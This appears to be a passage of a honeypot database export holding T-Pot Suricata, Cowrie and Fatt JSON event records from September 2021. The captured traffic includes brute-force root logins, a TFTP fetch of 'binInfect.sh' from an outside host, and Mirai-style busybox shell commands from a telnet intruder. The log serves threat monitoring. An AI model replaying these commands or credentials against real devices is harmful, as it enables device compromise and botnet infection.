"voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19966	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:01:29.024485+03	2021-09-20 14:15:01.776612+03	{"_id": "OwXeAnwBvYTbRNuENvZu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:13.821562+0000", "pkts_toclient": 4, "pkts_toserver": 4, "bytes_toclient": 364, "bytes_toserver": 252}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL ICMP_INFO Destination Unreachable Port Unreachable", "signature_id": 2100402}, "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "ICMP", "src_ip": "109.104.151.11", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1066987618404666, "payload": "RQAAMbi5QAAxEbdywKgUdG1olwuUlgBFAB073AABYmluSW5mZWN0LnNoAG9jdGV0AA==", "@version": "1", "in_iface": "enp5s0", "app_proto": "tftp", "icmp_code": 3, "icmp_type": 3, "timestamp": "2021-09-20T11:01:29.024485Z", "@timestamp": "2021-09-20T11:01:29.024Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "E..1..@.1..r...tmh.....E..;...binInfect.sh.octet."}}	1	\N	\N	alert	\N	\N
19967	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:33.854626+03	2021-09-20 14:15:01.777612+03	{"_id": "SAXeAnwBvYTbRNuESfb6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 43094, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1171262983178850, "@version": "1", "in_iface": "enp5s0", "src_port": 51352, "dest_port": 53, "timestamp": "2021-09-20T11:01:33.854626Z", "@timestamp": "2021-09-20T11:01:33.854Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19968	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:01:34.044041+03	2021-09-20 14:15:01.778613+03	{"_id": "SQXeAnwBvYTbRNuESfb6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:13.821562+0000", "pkts_toclient": 5, "pkts_toserver": 5, "bytes_toclient": 455, "bytes_toserver": 315}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL ICMP_INFO Destination Unreachable Port Unreachable", "signature_id": 2100402}, "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "ICMP", "src_ip": "109.104.151.11", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1066987618404666, "payload": "RQAAMbmqQAAxEbaBwKgUdG1olwuUlgBFAB073AABYmluSW5mZWN0LnNoAG9jdGV0AA==", "@version": "1", "in_iface": "enp5s0", "app_proto": "tftp", "icmp_code": 3, "icmp_type": 3, "timestamp": "2021-09-20T11:01:34.044041Z", "@timestamp": "2021-09-20T11:01:34.044Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "E..1..@.1......tmh.....E..;...binInfect.sh.octet."}}	1	\N	\N	alert	\N	\N
19969	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:28.844966+03	2021-09-20 14:15:01.779613+03	{"_id": "OgXeAnwBvYTbRNuENvZu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 16426, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1314813674841254, "@version": "1", "in_iface": "enp5s0", "src_port": 51345, "dest_port": 53, "timestamp": "2021-09-20T11:01:28.844966Z", "@timestamp": "2021-09-20T11:01:28.844Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19970	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:28.846411+03	2021-09-20 14:15:01.780613+03	{"_id": "PAXeAnwBvYTbRNuENvZv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:13.821562+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 273, "bytes_toserver": 252}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2017_01_12"]}, "severity": 1, "signature": "ET TFTP Outbound TFTP Read Request", "signature_id": 2008120}, "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "109.104.151.11", "flow_id": 1066987618404666, "payload": "AAFiaW5JbmZlY3Quc2gAb2N0ZXQA", "@version": "1", "in_iface": "enp5s0", "src_port": 38038, "app_proto": "tftp", "dest_port": 69, "timestamp": "2021-09-20T11:01:28.846411Z", "@timestamp": "2021-09-20T11:01:28.846Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..binInfect.sh.octet."}}	1	\N	\N	alert	\N	\N
19971	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:28.846411+03	2021-09-20 14:15:01.782612+03	{"_id": "PQXeAnwBvYTbRNuENvZv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "tftp": {"file": "binInfect.sh", "mode": "octet", "packet": "read"}, "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 1066987618404666, "@version": "1", "in_iface": "enp5s0", "src_port": 38038, "dest_port": 69, "timestamp": "2021-09-20T11:01:28.846411Z", "@timestamp": "2021-09-20T11:01:28.846Z", "event_type": "tftp", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	tftp	\N	\N
19972	159.89.194.160	109.199.241.180	Suricata	2021-09-20 14:03:35.985543+03	2021-09-20 14:15:01.783613+03	{"_id": "XAXgAnwBvYTbRNuEJvjE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:03:35.630811+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.89.194.160", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1614007547437083, "payload": "AAADzAYUJvcUffKkuAZpQsZ3scsKSAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56550, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:03:35.985543Z", "@timestamp": "2021-09-20T11:03:35.985Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......&..}....iB.w..\\nH...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
19973	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:03:35.811538+03	2021-09-20 14:15:01.785612+03	{"_id": "YwXgAnwBvYTbRNuEJ_ic", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.89.194.160", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56550, "timestamp": "2021-09-20T11:03:35.811538", "@timestamp": "2021-09-20T11:03:35.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
19974	177.64.206.208	109.199.241.180	Cowrie	2021-09-20 14:03:36.454986+03	2021-09-20 14:15:01.786613+03	{"_id": "YQXgAnwBvYTbRNuEJ_ib", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "sh", "sensor": "b63cdd9641b8", "src_ip": "177.64.206.208", "eventid": "cowrie.command.input", "message": "CMD: sh", "session": "a958228e586c", "@version": "1", "timestamp": "2021-09-20T11:03:36.454986Z", "@timestamp": "2021-09-20T11:03:36.454Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
19975	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:03:36.828432+03	2021-09-20 14:15:01.787613+03	{"_id": "YgXgAnwBvYTbRNuEJ_ib", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/1qaz] failed", "session": "376c94178797", "@version": "1", "password": "1qaz", "username": "root", "timestamp": "2021-09-20T11:03:36.828432Z", "@timestamp": "2021-09-20T11:03:36.828Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
19976	177.64.206.208	109.199.241.180	Suricata	2021-09-20 14:03:37.578909+03	2021-09-20 14:15:01.789613+03	{"_id": "awXgAnwBvYTbRNuEKvit", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:03:32.936046+0000", "pkts_toclient": 27, "pkts_toserver": 24, "bytes_toclient": 4262, "bytes_toserver": 1672}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2016_08_08"], "deployment": ["Datacenter"], "updated_at": ["2016_08_23"], "attack_target": ["Server"], "former_category": ["TELNET"], "performance_impact": ["Low"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET HUNTING SUSPICIOUS busybox enable", "signature_id": 2023018}, "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "src_ip": "177.64.206.208", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1686684836317294, "payload": "cm9vdA0K//4BaHVudDU3NTkNCjY2NjY2Ng0K//4BNjY2NjY2DQpyb290DQr//gEwMDAwMDAwMA0Kcm9vdA0K//4BYW5rbw0KZW5hYmxlDQpzeXN0ZW0NCnNoZWxsDQpzaA0KY2F0IC9wcm9jL21vdW50czsgL2Jpbi9idXN5Ym94IFJJVUpSDQpjZCAvZGV2L3NobTsgY2F0IC5zIHx8IGNwIC9iaW4vZWNobyAuczsgL2Jpbi9idXN5Ym94IFJJVUpSDQp0ZnRwOyB3Z2V0OyAvYmluL2J1c3lib3ggUklVSlINCmRkIGJzPTUyIGNvdW50PTEgaWY9LnMgfHwgY2F0IC5zIHx8IHdoaWxlIHJlYWQgaTsgZG8gZWNobyAkaTsgZG9uZSA8IC5zDQo=", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ET.telnet.busybox"]}, "src_port": 58833, "app_proto": "failed", "dest_port": 23, "timestamp": "2021-09-20T11:03:37.578909Z", "@timestamp": "2021-09-20T11:03:37.578Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "root\\r\\n...hunt5759\\r\\n666666\\r\\n...666666\\r\\nroot\\r\\n...00000000\\r\\nroot\\r\\n...anko\\r\\nenable\\r\\nsystem\\r\\nshell\\r\\nsh\\r\\ncat /proc/mounts; /bin/busybox RIUJR\\r\\ncd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RIUJR\\r\\ntftp; wget; /bin/busybox RIUJR\\r\\ndd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s\\r\\n"}}	1	\N	\N	alert	\N	\N
19977	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:03:37.363156+03	2021-09-20 14:15:01.790613+03	{"_id": "bgXgAnwBvYTbRNuEKvit", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:03:32.936046+0000", "pkts_toclient": 26, "pkts_toserver": 22, "bytes_toclient": 4208, "bytes_toserver": 1538}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 10, "action": "allowed", "category": "Potentially Bad Traffic", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2019_10_07"]}, "severity": 2, "signature": "GPL TELNET Bad Login", "signature_id": 2101251}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "177.64.206.208", "flow_id": 1686684836317294, "payload": "bG9naW46IP/7AVBhc3N3b3JkOiAKTG9naW4gaW5jb3JyZWN0CmxvZ2luOiD/+wFQYXNzd29yZDogCkxvZ2luIGluY29ycmVjdApsb2dpbjog//sBUGFzc3dvcmQ6IApMb2dpbiBpbmNvcnJlY3QKbG9naW46IP/7AVBhc3N3b3JkOiAK//sD//sBDQpUaGUgcHJvZ3JhbXMgaW5jbHVkZWQgd2l0aCB0aGUgRGViaWFuIEdOVS9MaW51eCBzeXN0ZW0gYXJlIGZyZWUgc29mdHdhcmU7DQp0aGUgZXhhY3QgZGlzdHJpYnV0aW9uIHRlcm1zIGZvciBlYWNoIHByb2dyYW0gYXJlIGRlc2NyaWJlZCBpbiB0aGUNCmluZGl2aWR1YWwgZmlsZXMgaW4gL3Vzci9zaGFyZS9kb2MvKi9jb3B5cmlnaHQuDQoNCkRlYmlhbiBHTlUvTGludXggY29tZXMgd2l0aCBBQlNPTFVURUxZIE5PIFdBUlJBTlRZLCB0byB0aGUgZXh0ZW50DQpwZXJtaXR0ZWQgYnkgYXBwbGljYWJsZSBsYXcuDQobWzRocm9vdEB1YnVudHU6fiMgZW5hYmxlDQobWzRsZW5hYmxlIC4NCmVuYWJsZSA6DQplbmFibGUgWw0KZW5hYmxlIGFsaWFzDQplbmFibGUgYmcNCmVuYWJsZSBiaW5kDQplbmFibGUgYnJlYWsNCmVuYWJsZSBidWlsdGluDQplbmFibGUgY2FsbGVyDQplbmFibGUgY2QNCmVuYWJsZSBjb21tYW5kDQplbmFibGUgY29tcGdlbg0KZW5hYmxlIGNvbXBsZXRlDQplbmFibGUgY29udGludWUNCmVuYWJsZSBkZWNsYXJlDQplbmFibGUgZGlycw0KZW5hYmxlIGRpc293bg0KZW5hYmxlIGVjaG8NCmVuYWJsZSBlbmFibGUNCmVuYWJsZSBldmFsDQplbmFibGUgZXhlYw0KZW5hYmxlIGV4aXQNCmVuYWJsZSBleHBvcnQNCmVuYWJsZSBmYWxzZQ0KZW5hYmxlIGZjDQplbmFibGUgZmcNCmVuYWJsZSBnZXRvcHRzDQplbmFibGUgaGFzaA0KZW5hYmxlIGhlbHANCmVuYWJsZSBoaXN0b3J5DQplbmFibGUgam9icw0KZW5hYmxlIGtpbGwNCmVuYWJsZSBsZXQNCmVuYWJsZSBsb2NhbA0KZW5hYmxlIGxvZ291dA0KZW5hYmxlIHBvcGQNCmVuYWJsZSBwcmludGYNCmVuYWJsZSBwdXNoZA0KZW5hYmxlIHB3ZA0KZW5hYmxlIHJlYWQNCmVuYWJsZSByZWFkb25seQ0KZW5hYmxlIHJldHVybg0KZW5hYmxlIHNldA0KZW5hYmxlIHNoaWZ0DQplbmFibGUgc2hvcHQNCmVuYWJsZSBzb3VyY2UNCmVuYWJsZSBzdXNwZW5kDQplbmFibGUgdGVzdA0KZW5hYmxlIHRpbWVzDQplbmFibGUgdHJhcA0KZW5hYmxlIHRydWUNCmVuYWJsZSB0eXBlDQplbmFibGUgdHlwZXNldA0KZW5hYmxlIHVsaW1pdA0KZW5hYmxlIHVtYXNrDQplbmFibGUgdW5hbGlhcw0KZW5hYmxlIHVuc2V0DQplbmFibGUgd2FpdA0KG1s0aHJvb3RAdWJ1bnR1On4jIHN5c3RlbQ0KLWJhc2g6IHN5c3RlbTogY29tbWFuZCBub3QgZm91bmQNCnJvb3RAdWJ1bnR1On4jIHNoZWxsDQotYmFzaDogc2hlbGw6IGNvbW1hbmQgbm90IGZvdW5kDQpyb290QHVidW50dTp+IyBzaA0KG1s0bBtbNGhyb290QHVidW50dTp+IyBjYXQgL3Byb2MvbW91bnRzOyAvYmluL2J1c3lib3ggUklVSlINChtbNGxyb290ZnMgLyByb290ZnMgcncgMCAwDQpzeXNmcyAvc3lzIHN5c2ZzIHJ3LG5vc3VpZCxub2Rldixub2V4ZWMscmVsYXRpbWUgMCAwDQpwcm9jIC9wcm9jIHByb2MgcncscmVsYXRpbWUgMCAwDQp1ZGV2IC9kZXYgZGV2dG1wZnMgcncscmVsYXRpbWUsc2l6ZT0xMDI0MGssbnJfaW5vZGVzPTk5Nzg0Myxtb2RlPTc1NSAwIDANCmRldnB0cyAvZGV2L3B0cyBkZXZwdHMgcncsbm9zdWlkLG5vZXhlYyxyZWxhdGltZSxnaWQ9NSxtb2RlPTYyMCxwdG14bW9kZT0wMDAgMCAwDQp0bXBmcyAvcnVuIHRtcGZzIHJ3LG5vc3VpZCxyZWxhdGltZSxzaXplPTE2MTMzMzZrLG1vZGU9NzU1IDAgMA0KL2Rldi9kbS0wIC8gZXh0MyBydyxyZWxhdGltZSxlcnJvcnM9cmVtb3VudC1ybyxkYXRhPW9yZGVyZWQgMCAwDQp0bXBmcyAvZGV2L3NobSB0bXBmcyBydyxub3N1aWQsbm9kZXYgMCAwDQp0bXBmcyAvcnVuL2xvY2sgdG1wZnMgcncsbm9zdWlkLG5vZGV2LG5vZXhlYyxyZWxhdGltZSxzaXplPTUxMjBrIDAgMA0Kc3lzdGVtZC0xIC9wcm9jL3N5cy9mcy9iaW5mbXRfbWlzYyBhdXRvZnMgcncscmVsYXRpbWUsZmQ9MjIscGdycD0xLHRpbWVvdXQ9MzAwLG1pbnByb3RvPTUsbWF4cHJvdG89NSxkaXJlY3QgMCAwDQpmdXNlY3RsIC9zeXMvZnMvZnVzZS9jb25uZWN0aW9ucyBmdXNlY3RsIHJ3LHJlbGF0aW1lIDAgMA0KL2Rldi9zZGExIC9ib290IGV4dDIgcncscmVsYXRpbWUgMCAwDQovZGV2L21hcHBlci9ob21lIC9ob21lIGV4dDMgcncscmVsYXRpbWUsZGF0YT1vcmRlcmVkIDAgMA0KYmluZm10X21pc2MgL3Byb2Mvc3lzL2ZzL2JpbmZtdF9taXNjIGJpbmZtdF9taXNjIHJ3LHJlbGF0aW1lIDAgMA0KG1s0aBtbNGxSSVVKUjogYXBwbGV0IG5vdCBmb3VuZA0KG1s0aHJvb3RAdWJ1bnR1On4jIGNkIC9kZXYvc2htOyBjYXQgLnMgfHwgY3AgL2Jpbi9lY2hvIC5zOyAvYmluL2J1c3lib3ggUklVSlINChtbNGwbWzRoG1s0bGNhdDogLnM6IE5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnkNChtbNGgbWzRsG1s0aBtbNGxSSVVKUjogYXBwbGV0IG5vdCBmb3VuZA0KG1s0aHJvb3RAdWJ1bnR1Oi9kZXYvc2htIyB0ZnRwOyB3Z2V0OyAvYmluL2J1c3lib3ggUklVSlINChtbNGx1c2FnZTogdGZ0cCBbLWhdIFstYyBDIENdIFstbCBMXSBbLWcgR10gWy1wIFBdIFstciBSXSBbaG9zdG5hbWVdDQobWzRoG1s0bHdnZXQ6IG1pc3NpbmcgVVJMDQpVc2FnZTogd2dldCBbT1BUSU9OXS4uLiBbVVJMXS4uLg0KDQpUcnkgYHdnZXQgLS1oZWxwJyBmb3IgbW9yZSBvcHRpb25zLg0KG1s0aBtbNGxSSVVKUjogYXBwbGV0IG5vdCBmb3VuZA0KG1s0aHJvb3RAdWJ1bnR1Oi9kZXYvc2htIyA=", "@version": "1", "in_iface": "enp5s0", "src_port": 23, "app_proto": "failed", "dest_port": 58833, "timestamp": "2021-09-20T11:03:37.363156Z", "@timestamp": "2021-09-20T11:03:37.363Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "login: ...Password: \\nLogin incorrect\\nlogin: ...Password: \\nLogin incorrect\\nlogin: ...Password: \\nLogin incorrect\\nlogin: ...Password: \\n......\\r\\nThe programs included with the Debian GNU/Linux system are free software;\\r\\nthe exact distribution terms for each program are described in the\\r\\nindividual files in /usr/share/doc/*/copyright.\\r\\n\\r\\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\\r\\npermitted by applicable law.\\r\\n.[4hroot@ubuntu:~# enable\\r\\n.[4lenable .\\r\\nenable :\\r\\nenable [\\r\\nenable 